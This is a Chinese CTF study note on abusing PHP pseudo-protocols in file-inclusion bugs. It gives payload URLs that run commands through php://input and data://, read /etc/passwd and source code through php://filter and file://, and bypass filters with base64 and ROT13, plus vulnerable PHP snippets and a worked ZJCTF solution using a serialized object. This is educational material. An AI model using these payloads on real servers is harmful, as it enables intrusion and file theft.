伪协议的研究与利用 伪代码的大小写是不影响伪代码的作用的!!!
输入代码类:
用途 :读取 HTTP 请求的原始 POST 数据流,直接执行代码 。
条件 :allow_url_include=On(默认关闭)。
CTF 应用 :绕过对 $_POST 的过滤,直接传递 PHP 代码 。
(可以直接传递post的值 ,那些针对post的过滤就无用了)
绕过原理:
**$_POST**:在 PHP 中,$_POST 是一个超全局变量,用于接收通过 HTTP POST 方法提交的数据。当客户端以 application/x-www-form-urlencoded 或 multipart/form-data 格式发送 POST 请求时,PHP 会自动解析请求中的数据,并将其填充到 $_POST 数组中。例如,当表单以 application/x-www-form-urlencoded 格式提交时,数据会被编码成键值对的形式,如 key1=value1&key2=value2,PHP 会将其解析为 $_POST['key1'] = 'value1'; $_POST['key2'] = 'value2';。
如果只对key这个键值进行过滤 的话就会出现input漏洞
示例 :直接执行代码 1 2 3 4 5 POST /vuln.php?file=php://input HTTP/1.1 Host: ctf.example.com Content-Type: text/plain <?php system("cat /flag"); ?>
当漏洞代码为 include($_GET['file']); 时,php://input 会被解析为包含的代码并执行。
data://
用途 :将数据直接嵌入 URI,支持 text/plain 或 base64 格式。
条件 :allow_url_include=On。
CTF 应用 :直接传递 PHP 代码执行。
(类似input,会执行输入的代码,在URL直接输入即可 )
可用于:传输数据
示例 1:执行系统命令 1 http://ctf.example.com/?file=data://text/plain,<?php system("ls");?>
示例 2:Base64 编码绕过特殊字符过滤 1 http://ctf.example.com/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b
解码后内容:<?php system("ls");?>,避免 URL 中特殊字符被拦截。
读取文件类: php://filter
用途 :对文件内容进行过滤处理(如编码、解码、压缩等)。
CTF 应用 :读取 PHP 源码、绕过死亡 Exit、字符串处理。
base64编码用的就是这个
多用于读取文件
文件包含漏洞多半会用到
示例 1:读取 Base64 编码的源码 1 http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
返回 flag.php 的 Base64 编码内容,解码后获取原始代码。
convert.base64-encode是表明加密方法
示例 2:绕过死亡 Exit(过滤 <? 标签) 1 http://ctf.example.com/?file=php://filter/read=string.rot13/resource=flag.php
使用 ROT13 编码文件内容,使 <?php 变成 <?cuc,绕过标签检测。
过滤器链示例 1 php://filter/read=convert.base64-encode|convert.base64-decode/resource=flag.php
file://
用途 :访问本地文件系统(默认协议)。
CTF 应用 :读取敏感文件(如 /etc/passwd、源码等)。
示例 1:读取系统文件 1 http://ctf.example.com/?file=file:///etc/passwd
示例 2:绕过路径限制 1 http://ctf.example.com/?file=file:///var/www/html/flag.php
直接读取 Web 目录下的 PHP 文件(但可能被解析为空)。
总结对比表
协议
典型场景
关键条件
示例 Payload
php://input
执行 POST 原始代码
allow_url_include=On
?file=php://input + POST 代码
php://filter
读取 PHP 源码(Base64 编码)
无特殊要求
?file=php://filter/convert.base64-encode/resource=flag.php
data://
直接传递 PHP 代码
allow_url_include=On
?file=data://text/plain,<?php system("ls");?>
phar://
反序列化漏洞触发
Phar 文件可解析
?file=phar://exploit.phar
expect://
执行系统命令(罕见)
expect 扩展启用
?cmd=expect://id
file://
读取本地文件
无特殊要求
?file=file:///etc/passwd
常见可利用的文件读取函数 1. file_get_contents 此函数的作用是将整个文件读入一个字符串。若它的参数接受用户输入且未进行严格的过滤和验证,攻击者就能利用伪协议来读取系统中的敏感文件。
1 2 3 4 5 <?php $file = $_GET ['file' ];$content = file_get_contents ($file );echo $content ;?>
在这个示例里,若用户传入的 $file 参数可控,攻击者就能传入类似 php://filter/read=convert.base64-encode/resource=/etc/passwd 这样的伪协议来读取 /etc/passwd 文件的内容。
2. include、require、include_once 和 require_once 这些函数用于包含并执行指定的文件。如果它们的参数来自用户输入且未经过严格检查,攻击者就可以利用伪协议来包含恶意文件或读取敏感信息。
1 2 3 4 <?php $file = $_GET ['file' ];include ($file );?>
攻击者可能会传入 php://input 或者其他伪协议来执行恶意代码或读取文件。
3. fopen 该函数用于打开一个文件或 URL。如果它的第一个参数接受用户输入,攻击者就可以利用伪协议来读取文件或执行其他操作。
1 2 3 4 5 6 7 8 9 10 <?php $file = $_GET ['file' ];$handle = fopen ($file , 'r' );if ($handle ) { while (($line = fgets ($handle ))!== false ) { echo $line ; } fclose ($handle ); } ?>
例题:[ZJCTF 2019]NiZhuanSiWei 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
要我们满足
1 isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
这就得用data://写入数据:
1 2 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(使用base64加密) ?text=data://text/plain,welcome to the zjctf(纯文本形式)
明显的文件包含漏洞,既然提醒我们是useless.php,那便用filter协议读取:
1 &file=php://filter/read=convert.base64-encode/resource=useless.php
给我们一个页面为:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
发现有__tostring()方法:原文件又有echo函数,那便构造一个序列化函数:
1 2 3 4 5 6 7 8 9 10 11 <?php class Flag{ public $file='flag.php'; } $a = new Flag; echo serialize($a); ?> 输出得到: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
带入payload得:
1 http://481af40e-cc0e-4e83-9f10-4229a7d7709a.node5.buuoj.cn:81//?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
ctrl+u得到flag